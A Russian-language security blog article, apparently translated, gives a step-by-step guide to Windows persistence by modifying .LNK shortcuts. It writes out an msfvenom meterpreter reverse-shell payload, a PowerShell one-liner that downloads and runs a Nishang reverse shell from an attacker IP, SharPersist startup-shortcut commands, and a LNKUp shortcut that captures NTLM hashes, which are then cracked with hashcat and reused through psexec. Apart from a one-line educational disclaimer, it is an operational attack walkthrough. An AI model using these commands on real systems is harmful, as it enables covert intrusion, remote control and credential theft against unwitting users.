Windows Persistence: Модификация ярлыков (T1547)

Дата: 04.03.2022. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Windows Persistence: Модификация ярлыков (T1547)
Изображение: hitesh choudhary (Pexels)

В данной статье пойдет речь о модификации ярлыков. Это метод, при котором хакер может заменить абсолютный путь к исполняемому файлу.

Введение

MITRE утверждает, что «хакеры могут изменить системные параметры для автоматического выполнения программы во время загрузки системы или входа в нее, чтобы поддерживать Persistence или получать привилегии более высокого уровня в скомпрометированных системах; операционные системы обладают возможностями для автоматического запуска программы при загрузке системы или входе в свою учетную запись».

Модификация ярлыков (англ. «Shortcut Modification») –  это метод, при котором хакер может заменить абсолютный путь к исполняемому файлу, что будет запущен с помощью ярлыка, и замаскировать его под иконку, которая запускается при входе в систему. Таким образом, хакер сможет получить Windows Persistence и воплотить в жизнь свой замысел.

  • MITRE TACTIC: Повышение привилегий (TA0004) и Достижение Persistence (TA0003)
  • MITRE TECHNIQUE ID: T1547 (Выполнение программы при запуске системы или входе в учетную запись)
  • Подзаголовок: PE Injection (T1547.009)

Предпосылки

Файл ярлыка в Windows имеет расширение .LNK и содержит абсолютный путь к исполняемому файлу, что может быть запущен с помощью него. Ярлыки используются хакерами для атак с тех пор, как 50 Cents были на пике славы – люди еще не были хорошо осведомлены о киберугрозах в целом. Одна из таких атак представляет собой распространение вредоносного ПО с помощью CD- и DVD-дисков в общественных интернет-кафе. Данные носители часто содержали в себе вредоносные ярлыки. В современных системах Windows файлы с расширением .LNK способны запускать множество типов файлов, включая .exe, .cmd, .vbs, .powershell. Хакер может создать новый ярлык со встроенным скриптом PowerShell или изменить существующий ярлык для более скрытой атаки.

PERS1 – гайд по модификации ярлыков + получение Reverse Shell

Сперва нужно создать полезную нагрузку, которую хакер будет запускать при входе в систему. Он создал полезную нагрузку meterpreter с помощью msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe
Windows Persistence: Модификация ярлыков (T1547)

Теперь, когда полезная нагрузка готова, можно перейти к методу получения Persistence под номером 1. Предполагается, что хакер уже скомпрометировал систему и у него уже есть RDP для сервера или любой другой протокол, который позволяет просматривать графический интерфейс жертвы. На рабочем столе жертвы хакер обнаружил ярлык Firefox.

Windows Persistence: Модификация ярлыков (T1547)

Целевое поле «Объект» в ярлыке настроено на запуск исполняемого файла Firefox. Нужно просто изменить это. В данном случае хакер будет получать Reverse Shell, указав путь к shell.exe. Кроме того, он будет делать это в свернутом окне, чтобы это было незаметно.

Windows Persistence: Модификация ярлыков (T1547)

После действий хакера значок был изменен. Чтобы изменить его обратно на подходящий для Firefox, хакер нажмет на значок изменения картинки и укажет firefox.exe.

Windows Persistence: Модификация ярлыков (T1547)

Готово! Можно продолжать далее.

Windows Persistence: Модификация ярлыков (T1547)

Нужно поместить этот ярлык в папку автозагрузки, чтобы он запускался каждый раз при перезагрузке системы.

%appdata%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Windows Persistence: Модификация ярлыков (T1547)

Примечание: следует убедиться, что shell.exe находится в папке \users\public. После перезапуска системы обработчик хакера успешно получил Reverse Shell.

Windows Persistence: Модификация ярлыков (T1547)

PERS2 – гайд по модификации ярлыков + Powershell One Liner

Хотя описанный выше метод эффективен, для него требуется, чтобы пользователь вручную развертывал полезную нагрузку на компьютере жертвы. Данный метод более искусный. Хакер будет развертывать PowerShell One Liner в файле ярлыка. Он будет использовать Nishang для достижения этой цели. В строке «Объект» необходимо ввести данную команду в качестве входных данных:  

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.78.142/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.142 -Port 4444
Windows Persistence: Модификация ярлыков (T1547)

Необходимо изменить свой IP-адрес и порт в соответствии со средой.

Теперь нужно загрузить скрипт Invoke-PowerShell Tcp.ps1 и запустить локальный сервер Python на порту 80.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
python3 -m http.server 80
Windows Persistence: Модификация ярлыков (T1547)

Как только ярлык будет помещен в папку автозагрузки и система будет перезапущена пользователем, хакер должен получить Reverse Shell на свой листенер Netcat!

Windows Persistence: Модификация ярлыков (T1547)

PERS3 – модификация ярлыков с помощью SharPersist.exe

Следующий метод, который будет продемонстрирован читателям, может быть осуществлен локально из клиентского терминала (CLI Reverse Shell). Хакер прибегнет к реализации C# метода, известного под названием «SharPersist». Чтобы скачать необходимый файл, следует выполнить данную команду:

wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
Windows Persistence: Модификация ярлыков (T1547)

После первоначальной компрометации системы жертвы необходимо загрузить этот исполняемый файл в ее Windows вместе с созданной хакером полезной нагрузкой msfvenom meterpreter. Чтобы создать ярлык с помощью SharPersist, можно запустить инструмент со следующими флагами:

  • t=> целевая папка
  • c=> команда для запуска при выполнении
  • f=> имя файла
powershell wget 192.168.78.142/SharPersist.exe -O SharPersist.exe
powershell wget 192.168.78.142/shell.exe -O shell.exe
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\Users\Public\shell.exe" -f "ignite" -m add
Windows Persistence: Модификация ярлыков (T1547)

Ярлык ignite.lnk был помещен в папку автозагрузки. После перезапуска системы хакер получил meterpreter shell!  

Windows Persistence: Модификация ярлыков (T1547)

PERS4 – создание ярлыка и компрометация NTLM-хеша

Последний метод – самый искусный и наименее заметный из всех. Здесь хакер будет использовать скрипт Python под названием LNKUp для создания файла .LNK и аутентификации жертвы в его системе. В свою очередь, хакер сможет получить NTLM-хеш жертвы. Это также можно сделать с помощью SharPersist, добавив команду cmd authenticator или вызвав общий ресурс SMB, настроенный в Kali (например, Impacket smbserver), используя путь UNC. Чтобы загрузить и запустить файл, необходимо установить python2.7 и pip2.7. После этого следует сгенерировать полезную нагрузку LNK следующим образом:

apt install python2.7
cd /usr/lib/python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2.7 get-pip.py
git clone https://github.com/plazmaz/lnkup.git
cd lnkup
python2.7 generate.py --host 192.168.78.133 --type ntlm --output readme.lnk
Windows Persistence: Модификация ярлыков (T1547)

Теперь хакер может перенести этот файл в папку автозагрузки вручную, используя скомпрометированный клиентский терминал.

cd C:\Users\hex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
powershell wget 192.168.78.133/readme.lnk -O readme.lnk
Windows Persistence: Модификация ярлыков (T1547)

Хакеру нужно настроить ответчик в текущем интерфейсе. Это важно, так как данные во время аутентификации будут перехвачены им.

Windows Persistence: Модификация ярлыков (T1547)

Хакер ждет перезагрузки системы. Как только это произойдет, хакер увидит, что он получил NTLMv2-хеши.

Windows Persistence: Модификация ярлыков (T1547)

Можно скопировать это в файл с именем «hash» и использовать hashcat для взлома. Код модуля для NTLMv2 равен 5600.

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force
Windows Persistence: Модификация ярлыков (T1547)

Хеш был взломан, пароль указан как «123». Теперь следует воспользоваться этими учетными данными с помощью psexec и войти в систему.

python3 psexec.py hex:123@192.168.78.141
whoami
Windows Persistence: Модификация ярлыков (T1547)

Заключение

Лишь несколько атак в сфере ИБ прошли проверку временем, и модификация ярлыков – входит в их число. Пока нет универсального решения для защиты от этой техники, потому что ее успех зависит от доверчивости жертвы, поскольку атака работает так же, как и фишинг.

Автор переведенной статьи: Harshit Rajpal.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Об авторе Игорь Б

Представитель редакции CISOCLUB. Добавляю статьи на сайт.
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован.